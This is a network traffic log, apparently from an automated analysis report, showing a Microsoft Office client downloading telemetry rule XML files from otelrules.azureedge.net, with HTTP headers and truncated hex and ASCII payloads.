2024-10-30 01:28:14 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012814Z-16849878b78q9m8bqvwuva4svc00000005z0000000001829 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:14 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012814Z-15b8d89586fvpb59307bn2rcac00000002dg00000000bchu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:14 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 66721f0b-e01e-00aa-4086-29ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012814Z-17c5cb586f6b6kj91vqtm6kxaw0000000620000000008prg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:15 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:15 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012815Z-16849878b787bfsh7zgp804my4000000064000000000e2yt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:15 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012815Z-16849878b78z2wx67pvzz63kdg00000005w000000000neu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:15 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:15 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:15 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012815Z-16849878b78g2m84h2v9sta29000000006b00000000025ep x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:15 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:15 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:15 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 6796a20d-a01e-00ab-565f-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012815Z-17c5cb586f6f8m6jnehy0z65x400000006p000000000738s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:15 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:15 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 599f4d6b-b01e-00ab-7137-2adafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012815Z-15b8d89586fmhjx6a8nf3qm53c00000001800000000050af x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:15 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4fde2afa-301e-0099-279b-276683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-17c5cb586f6sqz6f73fsew1zd80000000150000000002bpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:16 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ded904a3-601e-000d-0f3d-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-r197bdfb6b48v72xb403uy6hns00000007zg00000000bfzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:16 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: a3bf04aa-f01e-001f-636e-285dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-r197bdfb6b4mcssrk8cfa4gm1g00000000xg00000000mthw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:16 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:16 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: b03ac640-101e-007a-1bc8-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-17c5cb586f64v7xsc2ahm8gsgw000000026000000000kq0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
